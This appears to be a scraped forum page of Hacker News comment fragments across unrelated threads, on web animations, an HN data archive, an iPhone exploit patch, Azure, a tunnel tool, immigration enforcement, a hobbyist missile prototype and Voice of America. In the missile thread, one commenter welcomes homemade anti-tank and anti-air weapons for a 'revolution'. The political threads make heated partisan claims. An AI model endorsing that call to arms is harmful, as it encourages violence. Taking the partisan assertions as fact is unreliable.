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Yep. And then complain how it’s not loading/stuttering. I guess we need a new website…
There are no bad animations, only bad designs. If you design the animation to be way over the top like this, and then design the page to use it on every line then of course it looks like shit. This is like arguing against any amount of sugar in food and then shoveling it into someone's mouth to try to prove your point. It's disingenuous and you aren't proving anything. I don't even think the top agreeing comments here are coming from web devs or the target users.
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If you sped this up, and minimized it to the point it was unnoticeable, it would not hurt the browsing experience. But that raises the question...
> This post purposefully ignores the reduced motion preference to give everyone the same truly terrible experience. I am sorry. Please use your browser’s reader mode. "Reader Mode" shouldn't even be a special mode. It should just be the default browsing experience, and users who want all this styling crap should have to enable "Clown Mode" or something.
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I want a reader mode that renders the page as if it were in an extremely tall window (ie. 10+ screens tall), then gives me a scrollable view of that static image of the rendered page. My browser should lie to the page on my behalf, and make it behave as if everything were already on-screen.
Browsers have handed way too much control to web developers. "The web as a software SDK" was a terrible idea.
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The web should be a method of delivering documents exclusively, and be limited to the kinds of things you can do with other computerized documents (the basics, but also Audio, Video, Animations, hyperlinking, etc.)
> when it's done well It's always awful. This site is exagerated in degree, but in kind it's merely on the scale of awful. Computers should not waste my time. Even if eyes are 10ms faster than the awful fade, if a million people see it, that's almost three hours of human life down the drain. And when scrolling fast, or far, it's not uncommon to have it waste a second of human time. A million of those is 38 human working days, just flushed down the toilet, because someone wanted "pleasant". It's fantastically disrespectful of other people's time. The web is already slow. No need to deliberately spend effort to make it even slower.
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> million of those is 38 human working days, just flushed down the toilet, because someone wanted "pleasant". This is the wrong conclusion. The amount of work that can be accomplished summing one second from 38 million people is approximately zero - much different from stealing 1 day from 38 people or 1 hour from 912.
I mean, like the other commenter I would just close the page instead of enduring it. But yes, in fact if this page succeeds then it's wasting human life on things as productive as spam phone calls. People have solved the latter by simply not answering for unknown numbers. Not sure what you mean by "fatalistic". To the point where I'm not sure that's the word you mean. It's fatalistic as in fate. Maybe you mean morbid? Standing in line at the DMV is also all "counting flowers on the wall, that don't bother me at all"? But even at the DMV it's (hopefully) not done maliciously. > cosmetic inconveniences Sometimes things suck. That's not remotely as frustrating as knowing that someone went out of their way to make your life worse. > is it really that big of a deal? Surely not. If we capped all laptop CPUs to 600MHz, would it really be that big of a deal? Maybe they did it because of the acoustic preference of not needing to spin the fans as much, and therefore you are not allowed faster CPUs?
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They didn't go out of their way to make your life worse. They went out of their way to design something they thought you would like, but you didn't like it. Laptop CPUs aren't capped to 600MHz, so that's not really worth thinking about.
↙ time adjusted for second-chance
Show HN: Hacker News archive (47M+ items, 11.6GB) as Parquet, updated every 5m (huggingface.co)
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Static web content and dynamic data? > The archive currently spans from 2006-10 to 2026-03-16 23:55 UTC, with 47,358,772 items committed. That’s more than 5 minutes ago by a day or two. No big deal, but a little bit depressing this is still how we do things in 2026.
is the legal page a placeholder, do words have no meaning? https://www.ycombinator.com/legal/ Mods, enforce your license terms, you're playing fast and loose with the law (GDPR/CPRA)
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Eh, fuck that agreement. I'm kind of old school in that I believe if you put it on the internet without an auth-wall, people should be allowed to do whatever they want with it. The AI companies seem to agree. Then again, I'm not the guy that is going to get sued...
> By uploading any User Content you hereby grant and will grant Y Combinator and its affiliated companies The user content is supposed to be licensed only Y Combinator and (bleah) its affiliated companies (which are many, all the startups they fund, for example).
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That agreement is largely about "Personal Information", not the posts and comments. That said, there are "no scraping" and "commercial use restricted" carve-outs for the content on HN. Which honestly is bullshit.
I mean, just because they say the comments are not PI doesn't make it so.
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That’s a good point. I’m only referring to the terms they used in the privacy policy.
Hundreds of Millions of iPhones Can Be Hacked With a New Tool Found in the Wild (wired.com)
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https://support.apple.com/en-us/126604 iOS 26.3.1 (a), iPadOS 26.3.1 (a), macOS 26.3.1 (a), macOS 26.3.2 (a) Released March 17, 2026 WebKit Available for: iOS 26.3.1, iPadOS 26.3.1, macOS 26.3.1, macOS 26.3.2 Impact: Processing maliciously crafted web content may bypass Same Origin Policy Description: A cross-origin issue in the Navigation API was addressed with improved input validation. WebKit Bugzilla: 306050 CVE-2026-20643: Thomas Espach
Is the full exploit chain functional on iPhone 17 MIE/EMTE silicon with Lockdown Mode enabled?
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No, because Lockdown Mode disabled JIT which is a part of this exploit chain.
Note that this is 1-click. 0-click example: receive an MMS with a malformed image that exploits a bug in decoding
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"0-click example: receive an MMS with a malformed image that exploits a bug in decoding ..." Consider a SMS firewall that: - flattens text to ascii-256 - recompresses, noises and slightly resizes images and video ... and only then passes the message onto your real (SIM card) phone number. This, of course, requires that you host your phone number somewhere like Twilio which has other added benefits like additional protection from SIM-jacking and being invulnerable to theft or loss of your handset, etc. Recommended.
> the most secure Except for withholding iOS 18 security fixes when public exploits are fixed in iOS 26.
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Even then. I'll take a leaky iOS 18 over pretty much any leaky Android or internet-connected TV or whatever. iPhones are still the least bad option, for regular people who aren't planning to solder anything, select their boot loader on launch, or recompile a kernel.
> you are not allowed to install the patched 18 Is it “you are not allowed,” or Cupertino isn’t going to bother developing and testing?
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> Is it “you are not allowed,” or Cupertino isn’t going to bother developing and testing? It is very firmly "you are not allowed". In fact you're not even allowed to switch back to iOS 18 at all. Only actively signed iOS IPSWs can be installed (barring historical cases where someone had saved signing tickets). You can see the current status at sites like https://ipsw.me and if you're on any iOS 26 supported iDevice currently only 26.3.1 is signed. The last iOS 18 version was 18.6.2 from August of last year. If you go back to the iPhone XS/XR, you'll see they're still updating iOS 18, with 18.7.6 released two weeks ago (March 4), but they've chosen to force anyone who wants security updates to move to iOS 26 instead.
There are not 8 major versions between iOS 18 and iOS 26. Apple skipped the monotonously increasing version numbering system since iOS 1 during WDDC 2025 to adopt a year suffix based versioning system. iOS 17, then iOS 18, then iOS 26, then iOS 27. You're not the only party confused.
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Edit: Oop, I misread! Right, yes, the change up was arguably not entirely boring. Some people were excited at least. Originally: To be the annoying pedant, version numbers did still monotonically increase, even with the gap, because each version is >= to the last. The mono means a single direction, not a step size of one.
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to be an even more annoying pedant. they technically said "monotonously" not monotonically, though skipping to 26 still seems pretty monotonous.
Haha thanks! Good to know they are on years now. Back to random version numbers in 5 year? :p
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How is increasing by 1 every year random? :P
Federal Cyber Experts Called Microsoft's Cloud "A Pile of Shit", yet Approved It (propublica.org)
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all clouds are.
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Is there a big cloud platform that isn't a pile of shit?
As a Microsoftie of more than a decade... Yeah, I see this. We have an internal system called Cosmos[0] that does a great job of processing huge quantities of data very fast. And we sat on it for years while the rest of the industry moved to Spark and its derivatives. We finally released it as Azure Data Lake Analytics (ADLA) but did a shit job of supporting/promoting it. We built Synapse, and it's garbage. We've now got Fabric which I guess is the new Synapse. I wouldn't really know because I probably have five different systems that I use that basically do large-scale data processing, and yet Fabric isn't one of them; who knows, maybe it will become the sixth? We've had numerous internal systems for orchestrating jobs, and it wasn't until Azure Data Factory that we finally released something externally that we sort-of-kind-of-but-not-really use internally. (To be fair, some teams do use it internally, but we're not all rowing in the same direction.) I regularly deal with multiple environments with different levels of isolation for security. I don't even know how it's all supposed to work -- I have my regular laptop and a secure workstation and three accounts that work on the two. Yet I have to do some privileged account escalation to activate these roles; when I'm done, there's no apparent way to end the activation early, so I just let it time out. These things are but a fraction of the Azure offerings, but literally everything I have used in Azure makes me absolutely HATE working in the cloud. There's not a single bright side to it AFAICT. As best as I can tell, the only reason why Azure makes so much damn money is because Microsoft is huge and can leverage its size into growth. We're very much failing up here. [0] https://www.microsoft.com/en-us/research/publication/big-data-processing-at-microsoft-hyper-scale-massive-complexity-and-minimal-cost/
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> I probably have five different systems This is the story of Microsoft - five different ways to do the thing, none of which do everything, and all of which are in various states of disrepair ranging from outright deprecation on up through feature-incomplete preview. Which one do you use? Who knows, but by the time you get everything moved over to that one and make allowances for all the stuff the one you chose doesn't support, there will be a new more logical choice for "that one" and you'll have to start over again. Wheee.
I knew there was another incident that I was forgetting, insanity... I don't understand how Microsoft keeps getting away with this and everyone just forgets.
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When people's income depends on them forgetting... they tend to become amnesiacs.
Azure is easily the most expensive, least reliable and worst cloud available. It's borderline scam. An example today, I provisioned high IOPS SSDs (supposedly) and what is actually connected to the instance? A spinning hard drive! I didn't even know they were still made, but I guess Azure uses them and scams their users into thinking you're getting an SSD for $700/mo when its really an old hard drive. I would warn anyone far and wide to avoid Azure at all costs, especially if you are a startup. And especially if you are doing any kind of AI because the only GPUs they have available are ancient and also crazy over-priced. If I cared more, I'd try to migrate away from Azure. But I don't, and that's probably Azure's business model at this point.
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Azure using SRE, I call BS. You don’t see underlying storage, it’s mounted as either SCSI or NVMe device as one HD. It’s obviously backed by massive fleet of drives just like EBS.
Recently tried using Entra ID. There are 12 ways to enforce MFA, 20 days ways to disable users, 4 ways to authenticate users, Add conditional access stuff with 50 variables and templates etc. You can customize the way you want. After configuring it, my colleagues could not log in. Thats one way to secure your organization.
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I ripped Entra ID from one of our projects and replaced it with Keycloak.
A ngrok-style secure tunnel server written in Rust and Open Source (github.com/joaoh82)
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Personally I don’t care what it is written in. I care what the code does and how well it does it. Rust is a cool and interesting language that helps solve some problems, but it doesn’t make it immune from all. But that doesn’t make it inherently better, or worse for the job. We have seen this trend for everything from C++ onwards (Java, Ruby, C#, Python, etc etc)
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this is the kind of thing i wish existed 2 years ago when i was debugging that mess
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Not trying to be a jerk but how is this different than the Rust solutions listed on https://github.com/anderspitman/awesome-tunneling already? What makes your solution better or different?
Aliens.gov ~ domain registered 17MAR2026 (whois.domaintools.com)
They're eating the cats![0] [0]: https://en.wikipedia.org/wiki/ALF_(TV_series)
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They also are eating stars apparently.
or dei.gov :))
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How about deiz.gov
1. You will be deported to your country of origin one way ticket; there is no picking and choosing here 3. If you are detained by ICE even if you do have legal status they will endlessly pressure you into singing away your rights, you will be lucky to even speak to you NGO lawyer because every few days you are shipped between detention locations. Even if you choose to self-deport you have to be detained by ICE and could be in custody for a number of days before you are shipped out of the country. The lawyer is not going to sugar coat your situation but if you want to fight there are legal avenues to do so. Also you cannot be banned from the USA forever the max the DHS can issue is a 10-year ban
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Your number 3 makes no sense, if you have “signed your rights away” why would they move you? For fun? But let’s say that’s the case… doesn’t that just prove my point that if you are here illegally, that it make no sense to stay?
This administration changes its tune based on what business/tech leaders are telling them[0][1]. There's no doubt that ICE will be used for selective enforcement (as we've seen them used at American protests) but some immigrants are probably staying based on the reality that business interests are more important. Also, I would be hesitant to say that immigrants being targeted by ICE are "illegal" as we saw some be detained/deported after speaking out against the war in Gaza[2]. Also, a lot claim asylum at the border which is a legal process. > and I can come back to the US upon following the legal method That process in reality takes a really long time due to the federal immigration system being strained. The 2024 border bill tried to address this by adding more immigration judges and asylum officers but Trump told Republicans to kill it because it'd make Biden look good. So far all we got was a massive DHS funding increase that allowed Kristi Noem to funnel $100M+ to herself and her friends and kill two American citizens with ICE. 0: https://www.nytimes.com/2026/03/15/us/politics/farm-labor-trump-migrant-workers-h2a.html 1: https://thehill.com/homenews/administration/5601588-trump-h1b-visas-talent/ 2: https://www.washingtonpost.com/national/2026/03/17/immigration-detainees-students-protesters-kordia-khalil/67ea9e9e-2247-11f1-954a-6300919c9854_story.html
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> The 2024 border bill Oh ya, I remember that. The Democrat bill with a few Republicans that conservatives call RINOs on board. Collins, McConnell, Murkowski, etc. Again, objectively, it does look bad that bill was to secure the border but Trump Admin seems to have done that without a bill.
"A commercial plane ticket anywhere" != the legal right to go anywhere Pretty much you go back to your country of origin Typically people take on the immense risk and challenge of leaving their country of origin to come here because their country of origin has really bad problems Those problems likely still exist or have gotten worse over the last several years due to (if nothing else) COVID further separating the US economy from the rest of the world's
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> Pretty much you go back to your country of origin Is this not just? Is this not what every other country in the world would do? Is there a European country you can stay in illegally? Do any of them run remigration programs with cash and free flights to where you came from?
Tech hobbyist makes shoulder-mounted guided missile prototype with $96 in parts (tomshardware.com)
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tldr for anyone skimming: the key insight is in section 3
When everyone started working on 3D-printed guns, I was sitting here thinking that if it comes to actual revolution, one is going to need anti-tank/anti-air a whole lot more than (relatively easy to acquire) small arms... Nice to see movement on this front
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"Nice to see movement on this front…" Good luck. Hoping to fight off tyranny, instead some nutters will probably down a commercial flight.
i think exactly the opposite and your comment literally made me laugh out loud, but there's a wide range of views out there.
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I understand we disagree here but telling someone you’re laughing at their views is just rude. If you don’t want to have a respectful discussion then we can both just move on.
>This is a large component of the alt-right, isn't it. I couldn't tell you. YPG was dominantly left-wing and looked up to the former communist 'Apo'. I imagine the phenomenon is fairly politically universal. >There is genuinely a group of people who'd rather fantasize about mass murder than do chores. Every now and again one of them actually picks up a gun. Then some school kids never have to go to events, or anywhere, ever again. Yes there are people like that. Although most of the Kurds I met started fantasizing about fighting ISIS only after Islamic theocrats starting murdering and raping their population. I doubt many of them who gained a taste for combat were doing chores one day and started fantasizing they could live under a tyrannical regime so they'd have an "excuse" to "restart" the war. Personally I don't think soldiers in need of a war have to fantasize too hard to come up with a morally acceptable outlet. I wouldn't look down on those who fought against the Russians in Ukraine or against ISIS in Mali because they need an outlet for their escape from civil life.
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re right vs left: the usual metaphor here is red-brown alliance.
That man must really hate his dog. I'm sure there's some ATF agents just salivating to Waco this guy.
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"This guy 100% must be in Ukraine. It would be one of the few places in the world where you can feel relatively safe right now to not just design but build and launch and even better, publish documentation on the web of you doing such. Surely there is NO WAY person is in any other country." looks at his github see's he is a US college student Yeah he's likely going to jail.
Yeah, neither article nor the video itself talks about "accuracy" AFAIK, which seems like a kind of important thing in this whole concept, otherwise it's just a "horizontal rocket launcher" which is cool I guess, but not so close to a MANPAD. The video is also cut in a way so you cannot tell that the launch seems to have been a complete failure? The rocket is vertical at the last frame: https://i.imgur.com/e2Kld6I.png
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> Yeah, neither article nor the video itself talks about "accuracy" AFAIK, which seems like a kind of important thing in this whole concept, otherwise it's just a "horizontal rocket launcher" which is cool I guess, but not so close to a MANPAD. Yeah, it seems to be trying to hew too closely to the conventions of existing missiles. A way more practical home-made "MANPAD" would probably be more like these Ukrainian drone interceptors: https://www.aljazeera.com/news/2026/3/10/what-are-the-ukrainian-drone-interceptors-sent-to-counter-iranian-attacks . 200 mph and 3 mile range is not bad, and definitely better than whatever the OP is.
I wonder if there’s an argument to made regarding the second amendment
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Don't think the second amendment covers firing
> https://en.wikipedia.org/wiki/Boeing_E-7_Wedgetail Somewhat interesting in that the Pentagon did not want the E-7 (as a replacement to the E-3): * https://www.twz.com/air/e-2-hawkeye-replaces-usaf-e-3-sentry-e-7-cancelled-in-new-budget nominally because it wanted to spend the money on more E-2s, which can operate on smaller and rougher airfields, which would be handy in (e.g.) the Pacific where tiny islands don't necessary 'fancy' runways that the E-7 needs. But they're actually very handy in tracking tiny targets—like drones—so Australia is sending E-7(s) to the Middle East: * https://www.twz.com/air/massive-leap-in-ability-to-spot-iranian-drones-headed-to-persian-gulf Congress rebuffed the Pentagon's attempted to 'completely kill' E-7 acquisitions, and the USAF has now put in an order, and it may be that people now realizing having some number of E-7s may be handy: * https://breakingdefense.com/2026/03/following-congressional-rebuke-air-force-awards-e-7-contracts/
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little unclear what drove the E-7 thing - my impression is that accelerationists on the political side wanted to push for space-based defense, and drove the attempt to cancel. it is a reasonable point that any airborne radar is an attractive target to long-range missile. and that if your radar is in space, it's a different, less available class of missile to attack it (and also that so far treating space as contested is taboo). the recent loss of THAAD radar should also make people rethink how to make an emitter that survives the first round of missiles.
Judge orders restoration of Voice of America (apnews.com)
read carefully. "it took three generations to unpick and fix the FDR bullshit [establishing VOA]".
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Ah, so "the FDR bullshit" was specifically about VOA. That was not clear. I thought it was a reference to New Deal policies more broadly. Write more carefully. Actually, in your reply in the other subtree, you added "(among other things)" so it appears I understood it correctly the first time, and it was a reference to New Deal policies more broadly.
Got it. Doomerism will fix the fact that there will always be assholes/people trying to break systems for their own gain. Or maybe doomerism will lead to rolling the dice and hoping we somehow magically get a better system where no people suck? This is not who we have historically been. Hence why gerrymandering is an issue today, because they are doing it today. But we have to put in the work to challenge the assholes. The world will always have assholes I don't think giving up/burning it all down and hoping they then magically go away is a political philosophy. The current Republican 'dixiecrats' are an extension of their traitor ancestors that WANT to burn it all down. Seems idiotic to help them in their goal. Fuck these loser traitors I'm keeping my country. https://www.youtube.com/shorts/Kjah99E1fIo Edit because I'm throttled: You completely jumped talking points. Gerrymandering is an issue today, meaning it is a new issue, that we need to fight, today. But I got it. You think/see America as irredeemable. I see us as constantly improving things, and don't see how a different country name/system of government would change/fix the horrible things you bring up, or make the worse elements of our society better. I have seen an America that fought to remove the cancer of slavery. That is ashamed of the internment camps. The doesn't give af about interracial marriage. And that America has been steadily winning WHEN PEOPLE FOUGHT FOR IT. But maybe you are right. Destroy the USA, change the name to 'Super Friendly Nice Perfect Land', get rid of democracy, and maybe racists will stop being racist. Looks like you are a surgeon. You would know we have many Jewish hospitals because Jewish people weren't allowed to be doctors. So Jewish people worked around that and changed things. Our system allows for improvement. There is no indication a random new one will. I have seen videos of Muslims talking about how they won't allow Jewish doctors to treat their kids, so yes, things can go backwards. Doesn't mean we give up. We need to challenge backwards people and backwards thought, not give up because they suck. You basically support the policy of the crappy 'dixiecrats' that run the Republican party, whose ancestors have been anti-America since they started then lost the civil war of burn it all down.
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I am responding to your edits “But I got it. You think/see America as irredeemable. I see us as constantly improving things.” So tell me how things are better today in 2026 for immigrants than they were a decade ago? Minorities? LGBT? Hell even rural White America who continues to vote against their own interests as long as they can “own the libs”, see the President abuse brown people, and bring God into the school? > The doesn't give af about interracial marriage. My (Black) son is engaged to a white woman. You damn sure better believe that people still care. Me personally? I love her to death. But for a less anecdotal answer. https://www.pewresearch.org/social-trends/2017/05/18/2-public-views-on-intermarriage/ > That is ashamed of the internment camps. What do you call what ICE is doing right now? > I have seen an America that fought to remove the cancer of slavery Four states still officially consider “Confederate Memorial Day” a state holiday and two others combine MLK and Confederate Memorial Day. > Like I said, you basically support the policy of the crappy 'dixiecrats' that run the Republican party, whose ancestors have been anti-America since they started then lost the civil war. They weren’t “anti-American” at all. They fought for the America that had slavery in the constitution, and considered a black person as 3/5th of a person and that enshrined “separate but equal” into law until the 50s. This is who America always was
Why does this comment get voted down? Which part are people against hearing/reading about? Is it the fact that the USA is an empire, the fact that its own journalistic efforts are propaganda, the claim that VoA is the biggest propaganda organ, or something else?
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It's using criticisms which generally aren't even well-received in good faith conversation, as disingenuous support for fascism which doesn't actually seek to reform but merely seeks to consolidate power. I've long criticized the US foreign policy and the US economic empire. But with the fascists destroying everything they can, I've become extremely conservative.
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